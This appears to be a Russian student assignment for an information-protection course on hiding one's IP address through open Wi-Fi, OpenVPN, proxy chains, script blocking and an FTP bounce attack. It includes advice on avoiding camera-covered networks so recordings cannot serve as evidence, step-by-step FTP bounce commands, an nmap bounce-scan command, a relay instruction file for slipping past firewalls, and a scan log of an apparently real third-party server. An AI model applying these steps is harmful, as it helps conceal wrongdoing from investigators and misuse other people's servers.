Добавил:
Опубликованный материал нарушает ваши авторские права? Сообщите нам.
Вуз: Предмет: Файл:

ИДЗ

.docx
Скачиваний:
17
Добавлен:
17.06.2016
Размер:
1.56 Mб
Скачать

Цель: скрытие ip-адреса в сети Интернет

Реализация: связка openVPN + Proxy+ftp bounce

IP-адрес (или диапазон ip, который сменяется при каждой сессии или автоматически меняется в определенный промежуток времени) выдается машине пользователя провайдером, через которого осуществляется доступ в интернет. У оператора связи при выдачи IP фиксируются все данные, какой машине он выдан, когда и на какой срок. При этом не важно фиксированный адрес или динамический. Компьютер же передает некоторые свои параметры оператору связи при соединении для установления канала.

Посмотреть, какой ip у нас сейчас является внешним, можно например на ресурсе http://2ip.ru, этот же ресурс покажет некоторые тех характеристики ПК:

Из этого следует, что возможно определение с условной точностью местоположения по IP и по отданным характеристикам ПК.

С условной, так как при некоторых типах организации сети один внешний IP может выдаваться на целый пул физических MAC, таким образом целый дом, при выходе в интернет может иметь один внешний IP. (Например, так у провайдера Interzet с кольцевой структурой и присвоением одного IP на один элемент кольца).

В случае, когда IP фиксируется за пользователем при составлении договора к провайдеру, единственным вариантом разделения IP между машинами пользователей является создание открытой точки доступа, самым лучшим вариантом является установка нескольких роутеров с функцией репитера, позволяющая расширить зону доступа к сети. Тем самым разные люди получают доступ к нашему IP в один и тот же момент времени.

Ссылка на подробное описание создание такой сети с репитером в Приложении №1.

Однако у многих провайдеров, создание такой точки доступа противоречит условиям договора, так как объем трафика через такую сеть будет существенно возрастать. Но если ставить ограничение на скачивание объема по системе QoS и ограничивать скорость другим людям на точке доступа, можно не превысить порога на скачку у провайдера и не вызывать подозрений. Для этого сам роутер должен поддерживать QoS и давать возможность создавать несколько независимых сетей, которые будут работать параллельно.

Первым этапом скрытия своего ip будем считать выход в интернет с общей точки доступа. Множество людей не знают о возможности установки шифрования и пароля на свой роутер, так же в городе открытые сети создают многочисленные кафе, рестораны, торгово-развлекательные комплексы. В пределах центра города можно найти массу таких сетей и не создавать самостоятельно на базе своего домашнего интернета. При этом выбирая открытую точку доступа надо обращать внимание на наличие видеокамер в пределах действия сети. Так запись с них может использоваться в качестве косвенных доказательств подключения к сети.

Итак, подключившись к такой точке, следующим этапом будет использование OpenVpn.

Это “свободная реализация технологии Виртуальной Частной Сети (VPN) с открытым исходным кодом для создания зашифрованных каналов типа точка-точка или сервер-клиенты между компьютерами. Она позволяет устанавливать соединения между компьютерами, находящимися за NAT-firewall, без необходимости изменения их настроек. OpenVPN была создана Джеймсом Йонаном (James Yonan) и распространяется под лицензией GNU GPL.”

У OpenVPN есть целый ряд преимуществ перед технологией VPN:

  1. Адаптивное сжатие данных в соединении с применением алгоритма компрессии LZO. Cкорость передачи данных через OpenVPN выше чем у PPTP;

  2. Поддерживает гибкие методы авторизации подлинности клиента, основанные на сертификатах;

  3. Использование одного TCP/UDP-порта без привязки к конкретному порту ( в нашем случае UDP);

  4. Шифрование 2048 бит, обеспечивает беспрецедентную безопасность, реализовано через постоянный ключ.

  5. Возможность запускать соединение через Socks/Proxy перед или после VPN.

Существует полностью автоматический сервис поиска серверов OpenVPN − http://www.vpnlab.ru/

Он поддерживает шифрование, установку Proxy\SOCKS после себя, переключение между серверами на “лету”, наличие резервного сервера и, пожалуй самое главное, что при невысоких ценах на доступ к реальному списку действующих серверов, не ведет никаких логов активности.

Чтобы получить доступ к этому списку необходимо установить их клиент для Windows, зарегистрироваться у них и оплатить 10$ за доступ на 3 дня к списку всех серверов.

Дальнейшая конфигурация по быстрому старту хорошо описана по ссылке на их сайте:

http://www.vpnlab.ru/openvpn/home.hs?lambda=faq&fid=faq_quick&lid=ru&topic=VPN_client_server_hide_ip_addres_proxy_security

и в общем случае не вызывает сложностей.

Описание и настройку можно посмотреть в Приложении №2

После установки данного клиента и подключения конфигурационного файла на выходе мы имеет IP адрес того сервера, к которому подключились.

Но этого мало, для этого будет использоваться программу FreeCap.

http://www.freecap.ru/ Она позволяет установить цепочку прокси, каждый из которых будет менять IP на свой.

Для программы можно самостоятельно найти открытые прокси, а можно купить уже готовый пакет, например тут:

http://5socks.net/proxy_socks_tarifs.htm

Последовательность прокси просто прописывается в настройках в соответствующем пункте меню.

Далее программа уже сама будет пропускать пакет трафика через заданную последовательность.

На выходе будем иметь IP последнего SOCKS.

Приложение №4 содержит скриншоты программы и окна настроек.

В принципе этого уже достаточно, но можно поверх этого установить TOR или менеджер I2P, но данные средства будут сильно замедлять работу в сети. Связанно это с особенностями строения “надстроек” интернета, когда При обращении к сайту или другому ресурсу в обычном (внешнем) интернете программа-маршрутизатор автоматически прокладывает «туннель» к одному из внешних шлюзов. Для того, чтобы сам компьютер увидел все гейты сети требуется время от 30 минут до суток. При этом при подключении к новой сети, через которую будет осуществляться выход в I2P снова потребуется время для обновления гейтов.

В процессе работы и перехода по ссылкам сам маршрутизатор сети будет запоминать новые переходы и карту ссылок.

Данные особенности сети, не подходят для быстрого развертывания рабочей точки. Ссылки на скрытые сети в Приложении №1.

Следующим шагом необходимо сократить число отдаваемой серверам технической информации от устройства.

Сделать это можно путем отключения Java, ActiveX, Flash и Javascipt при работе с браузером.

Есть программа http://noscript.net/ фактически это плагин для браузера, избирательно блокирующий работу скриптов и других активных элементов. Как настроить NoScript gодробнее в Приложении №3.

В качестве еще одного щита для блокировки передачи личных данных от машины в сети может служить http://www.privoxy.org/. Это некэширующий прокси-сервер, не блокирует скрипты и поэтому обязателен в связке с NoScript.

Однако в случае использования цепочки прокси через FreeCap, использование этой программы будет уже лишним.

После того как наш трафик успешно перенаправляется через Vpn и цепочку прокси, а данные о нашем ПК минимально отдаются серверам при запросе информации, можно установить еще один рубеж.

Им может являться FTP Bounce Attack.

Связана она с “дырой” в безопасности протокола FTP по команде PORT.

PORT определяет параметры: IP адрес, куда будет обращаться сервер по запросу и открывающийся порт. Как правило это порт с большим номером на клиенте. Сервер затем открывает это соединение, источником соединения является 20 порт на сервере, а приемник - это порт идентифицирующийся по параметрам команды PORT . Команда PORT обычно используется в "active mode" FTP. И обычно не используется в passive ( также известный как PASV [2]) mode. Серверы как правило могут работать в обоих режимах, инициализация метода происходит клиентом при обращении к серверу.

PORT формируется для каждого клиента. Можно открыть соединение на порт по своему выбору на машине которая возможно не является истинным клиентом. Получение этого соединения на произвольной машине - это и есть FTP bounce attack.

Для того, чтобы осуществить это необходимо сначала установить программу nmap, которая позволяет сканировать порты TCP на доступность. Скачать можно с официального сайта: http://nmap.org

Открываем FTP соединение от своего ПК с существующим внешним IP. (Не localhost). Это же можно сделать с любого доступного удаленного ПК. В терминале “ftp” затем "Enter.", это инициализирует режим ftp. Затем “open” и IP адрес. Логинимся под своими данными user password. Переводим ftp в пассивный режим:

quote “pasv ”

quote “stor fobar”

На выходе команды “pasv” будет адрес и порт. (F.F.F.F.X.X, где F.F.F.F. ip адрес, X.X порт)

Как это выглядит в консоли:

На выходе получаем 87 242 112 44 239 39.

PORT обладает определенным синтаксисом, состоит из последовательных 6 сочетаний цифр, разделенных “,”. Первые четыре сочетания - это IP адрес назначения, последние 2 - порт на удаленном хосте. Например, 192,168,0,5,2,44 . Чтобы узнать номер порта, необходимо умножить предпоследнее сочетание на 256 и прибавить последнее сочетание цифр.

В данном примере порт: 2*239 +39, т.е 517.

Соединившися с FTP сервером, nmap посылает команду PORT на все соединения IP/TCP.

Получив порт, nmap посылает команды для создания/открытия соединения поверх этого IP/TCP. FTP сервер при этом выдает сообщение о возможности данной операции.

Если соединение не организовать, то выглядит это так:

Source Destination Summary -------------------------------------------------------------------------------------- [192.168.0.8] [192.168.0.7] FTP: C PORT=37205 PORT 192,168,0,5,0,93 [192.168.0.7] [192.168.0.8] FTP: R PORT=37205 200 PORT command successful. [192.168.0.8] [192.168.0.7] FTP: C PORT=37205 LIST [192.168.0.7] [192.168.0.5] TCP: D=93 S=20 SYN SEQ=474501024 LEN=0 WIN=65535 [192.168.0.5] [192.168.0.7] TCP: D=20 S=93 RST ACK=474501025 WIN=0 [192.168.0.7] [192.168.0.8] FTP: R PORT=37205 425 Can't build data connection: Connection refused.

Если соединение возможно, то:

Source Destination Summary -------------------------------------------------------------------------------------- [192.168.0.8] [192.168.0.7] FTP: C PORT=37205 PORT 192,168,0,5,0,135 [192.168.0.7] [192.168.0.8] FTP: R PORT=37205 200 PORT command successful. [192.168.0.8] [192.168.0.7] FTP: C PORT=37205 LIST [192.168.0.7] [192.168.0.5] TCP: D=135 S=20 SYN SEQ=4240951199 LEN=0 WIN=65535 [192.168.0.5] [192.168.0.7] TCP: D=20 S=135 SYN ACK=4240951200 SEQ=2193395373 LEN=0 WIN=65535 [192.168.0.7] [192.168.0.5] TCP: D=135 S=20 ACK=2193395374 WIN<<1=65700 [192.168.0.7] [192.168.0.8] FTP: R PORT=37205 150 Opening ASCII mode data connection for '/bin/ls'. [192.168.0.7] [192.168.0.8] FTP: R PORT=37205 226 Transfer complete. [192.168.0.7] [192.168.0.5] FTP: R PORT=135 Text Data

Nmap по результатам работы выводит суммарный лог. Пример такого лога:

Starting nmap 3.81 ( http://www.insecure.org/nmap/ )

Resolved ftp bounce attack proxy to 192.168.0.7 (192.168.0.7). Attempting connection to ftp://anonymous:anon@192.168.0.7:21 Connected:Login credentials accepted by ftp server! Initiating TCP ftp bounce scan against 192.168.0.5 at 20:37 Discovered open port 6969/tcp on 192.168.0.5 Discovered open port 135/tcp on 192.168.0.5 Discovered open port 139/tcp on 192.168.0.5 Discovered open port 445/tcp on 192.168.0.5 Scanned 1663 ports in 9 seconds via the Bounce scan. Host 192.168.0.5 appears to be up ... good. Interesting ports on 192.168.0.5: (The 1659 ports scanned but not shown below are in state: closed) PORT STATE SERVICE 135/tcp open msrpc 139/tcp open netbios-ssn 445/tcp open microsoft-ds 6969/tcp open acmsoda MAC Address: 00:11:43:43:A8:34 (Dell (WW Pcba Test)) Nmap finished: 1 IP address (1 host up) scanned in 20.602 seconds Raw packets sent: 2 (68B) | Rcvd: 1 (46B)

Из лога видно 4 открытых порта.

Чтобы не быть заблокированными брэндмауэрами при сканировании портов, можно добавить параметр -P0, тогда nmap не будет пинговать порт при проверке.

# nmap -v -b anonymous:anon@192.168.0.7 192.168.0.5

Получив доступ к портам можно поверх создавать соединения на доступ к другим сервисам, например можно заставить другой хост, думать, что наш ПК и есть этот ftp.

Создаем файл, содержащий FTP инструкции и присваиваем ему имя, например “instrs”:

user ftp

pass -anonymous@

cwd /export-restricted-filename

type i

port F,F,F,F,X,X

retr filename.tar.Z

quit

Открываем FTP соединение к сайту с известным нам уязвимым портом и папкой, доступной для записи.

Регистрируемся в качестве anonymous и переходим (/cd) в папку с правами на запись.

Записываем свой файл с командами в эту папку:

put instr

quote “port C,C,C,C,V,V” // C,C,C,C ip адрес нашего доступного сайта, а V.V. порт

quote “retr instrs”

После данных команд filename будет являться “foobar ” для нашего ПК. По окончании действий с файлом “instrs” необходимо его удалить с промежуточного FTP сервера.

В конце файла “instrs” можно дописать nulls, общим количество дополняя файл до не менее 60 К, тем самым наполняя TCP, что приводит к незакрыванию сессии FTP достаточное время.

В данный исполняемый файл можно занести любые команды, исполняться они будут как правило через 20 порт, и многие брэндмауэры разрешают обходить себя по данному порту.

В приложении №5 пример полного сканирования nmap.

Приложение №1. Ссылки:

  1. Про создание сети репитера:

http://habrahabr.ru/post/136418/

  1. Foobar −> Operation Over Big Address Records (Reference: RFC 1639, FTP)

  2. TOR https://www.torproject.org/

  3. I2P http://www.i2p2.de/

  4. Проект Peek-A-Booty http://netoscope.ru/news/2002/02/19/4832.html

Приложение №2

Шаг 1. Скачайте OpenVPN клиент (официальную версию клиента можно скачать здесь) Шаг 2. Установите клиент OpenVPN с правами администратора (!):

Внимание! Если у вас установлена ОС Windows XP или Windows 2003, то во время установки может появиться окно с сообщением о неподписанном драйвере, следует нажать на кнопку «Все равно продолжить».

Шаг 3. Зарегистрируйтесь на vpnlab. Заполните поля имя, пароль и e-mail. Шаг 4. Зайдите в аккаунт. В панели управления выберите пункт «Оплата» и пополните ваш личный счет на нужную сумму. Шаг 5. Перейдите в раздел «Выбор тарифа» и там выберите нужный вам тарифный план и срок действия, после чего нажмите на кнопку «Установить тариф». Стоимость всех тарифных планов можно посмотреть здесь.

Шаг 6. Перейдите на вкладку «Сертификат», отметьте нужные вам опции и нажмите кнопку «Сгенерировать»:

Скачайте сертификат себе на компьютер:

Откройте архив с сертификатом:

Скопируйте содержимое архива с сертификатом в папку "config" (в папке OpenVPN - C:\\Program Files\OpenVPN\config или C:\\Program Files (x86)\OpenVPN\config):

Шаг 7. Запустите от администратора (!) OpenVPN GUI (Чтобы запустить OpenVPN клиент с правами администратора кликнета правой кнопкой и выберите пункт меню «Запуск от имени администратора»):

Шаг 8. В трее появится его иконка, нажмите на нее правой кнопкой мыши, выберите соединение и «Connect»:

Поздравляем, теперь вы полноценный пользователь OpenVPN и весь ваш трафик идет через него:

Приложение №3

Есть возможность разрешать JavaScript в один клик только там, где есть уверенность в безопасности.

NoScript уведомляет о запрещенных скриптах (<script>) и другом активном контенте, используя стандартные "Popup blocker" сообщения. Вид сообещения можно самостоятельно менять( customize or disable it).

NoScript позволяет формировать самостоятельные «белые списки» разрешенных сайтов.

Есть возможность настроить контекстное меню NoScript.

Опиционально можно выставить, какой контект по типу будет блокироваться: Java, Flash, Silverlight, аудио, видео, IFRAMEs, FRAMEs, шрифты или WebGL.

Можно подключать сторонние фильтры такие как Blitzableiter

NoScript содержит встроенный фильтр от межсайтового скриптинга( cross-site scripting attacks.)

NoScript поддерживает принудительный переход на SSL шифрование, если таковое поддерживается сайтом.

Приложение №4

FreeCap

Главное окно программы, содержит список программ, для которого работает цепочка прокси

В окне настроек можно прописать как 1 прокси, так и цепочку

Добавление цепочки прокси

Приложение №5

Starting Nmap 6.25 ( http://nmap.org ) at 2013-01-13 00:15 Московское время (зима)

NSE: Loaded 106 scripts for scanning.

NSE: Script Pre-scanning.

Initiating Ping Scan at 00:15

Scanning u359640.ftp.masterhost.ru (87.242.112.44) [4 ports]

Completed Ping Scan at 00:15, 0.89s elapsed (1 total hosts)

Initiating Parallel DNS resolution of 1 host. at 00:15

Completed Parallel DNS resolution of 1 host. at 00:15, 5.92s elapsed

Initiating SYN Stealth Scan at 00:15

Scanning u359640.ftp.masterhost.ru (87.242.112.44) [1000 ports]

Discovered open port 21/tcp on 87.242.112.44

Discovered open port 80/tcp on 87.242.112.44

Discovered open port 2222/tcp on 87.242.112.44

Discovered open port 49154/tcp on 87.242.112.44

Discovered open port 2394/tcp on 87.242.112.44

Completed SYN Stealth Scan at 00:16, 5.97s elapsed (1000 total ports)

Initiating Service scan at 00:16

Scanning 5 services on u359640.ftp.masterhost.ru (87.242.112.44)

Completed Service scan at 00:16, 49.24s elapsed (5 services on 1 host)

Initiating OS detection (try #1) against u359640.ftp.masterhost.ru (87.242.112.44)

Initiating Traceroute at 00:16

Completed Traceroute at 00:16, 3.01s elapsed

Initiating Parallel DNS resolution of 7 hosts. at 00:16

Completed Parallel DNS resolution of 7 hosts. at 00:17, 11.01s elapsed

NSE: Script scanning 87.242.112.44.

Initiating NSE at 00:17

Completed NSE at 00:17, 25.06s elapsed

Nmap scan report for u359640.ftp.masterhost.ru (87.242.112.44)

Host is up (0.055s latency).

rDNS record for 87.242.112.44: winweb08.win.masterhost.ru

Not shown: 995 filtered ports

PORT STATE SERVICE VERSION

21/tcp open ftp Microsoft ftpd

| ssl-cert: Subject: commonName=

| Issuer: commonName=

| Public Key type: rsa

| Public Key bits: 1024

| Not valid before: 2012-02-28T12:27:38+00:00

| Not valid after: 2014-02-27T12:27:38+00:00

| MD5: f97c 0c39 83a3 f804 1381 8da4 c9b2 54b9

|_SHA-1: ec82 fa11 b0c8 dd5c e8a9 aab3 bd59 c9e2 f47a 0b1d

|_ssl-date: 2013-01-12T20:17:07+00:00; 0s from local time.

80/tcp open http Microsoft IIS httpd 7.5

|_http-methods: No Allow or Public header in OPTIONS response (status code 301)

|_http-title: Did not follow redirect to http://masterhost.ru/support/doc/windows/ftp/

2222/tcp open ftp Microsoft ftpd

2394/tcp open ssl/http Microsoft IIS httpd 7.5

| http-auth:

| HTTP/1.1 401 Unauthorized

|_ Basic realm=u359640.ftp.masterhost.ru

|_http-methods: No Allow or Public header in OPTIONS response (status code 401)

|_http-title: IIS 7.5 Detailed Error - 401.2 - Unauthorized

| ssl-cert: Subject: commonName=

| Issuer: commonName=

| Public Key type: rsa

| Public Key bits: 1024

| Not valid before: 2012-02-28T12:27:38+00:00

| Not valid after: 2014-02-27T12:27:38+00:00

| MD5: f97c 0c39 83a3 f804 1381 8da4 c9b2 54b9

|_SHA-1: ec82 fa11 b0c8 dd5c e8a9 aab3 bd59 c9e2 f47a 0b1d

|_ssl-date: 2013-01-12T20:17:07+00:00; 0s from local time.

|_sslv2: server still supports SSLv2

49154/tcp open msrpc Microsoft Windows RPC

Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port

Device type: general purpose|phone

Running: Microsoft Windows 2008|Vista|7|Phone

OS CPE: cpe:/o:microsoft:windows_server_2008::beta3 сpe:/o:microsoft:windows_vista::- cpe:/o:microsoft:windows_vista::sp1 cpe:/o:microsoft:windows_7 cpe:/o:microsoft:windows

OS details: Microsoft Windows Server 2008 Beta 3, Microsoft Windows Vista SP0 or SP1, Windows Server 2008 SP1, or Windows 7, Microsoft Windows Vista SP2, Windows 7 SP1, or Windows Server 2008, Microsoft Windows Phone 7.5

Uptime guess: 2.989 days (since Thu Jan 10 00:33:37 2013)

Network Distance: 8 hops

TCP Sequence Prediction: Difficulty=257 (Good luck!)

IP ID Sequence Generation: Incremental

Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

TRACEROUTE (using port 21/tcp)

HOP RTT ADDRESS

1 6.00 ms my.router (192.168.1.1)

2 7.00 ms 10.216.16.1

3 6.00 ms gw42.zet (192.168.254.217)

4 6.00 ms cmmo0-4.interzet.ru (188.134.127.49)

5 7.00 ms 188.134.126.205

6 ...

7 54.00 ms msk-ar-9-vl11.masterhost.ru (217.16.23.129)

8 57.00 ms winweb08.win.masterhost.ru (87.242.112.44)

NSE: Script Post-scanning.

Read data files from: C:\Program Files\Nmap

OS and Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .

Nmap done: 1 IP address (1 host up) scanned in 105.66 seconds

Raw packets sent: 2058 (92.694KB) | Rcvd: 66 (3.721KB)

32

Соседние файлы в предмете Методы и Средства Защиты Информации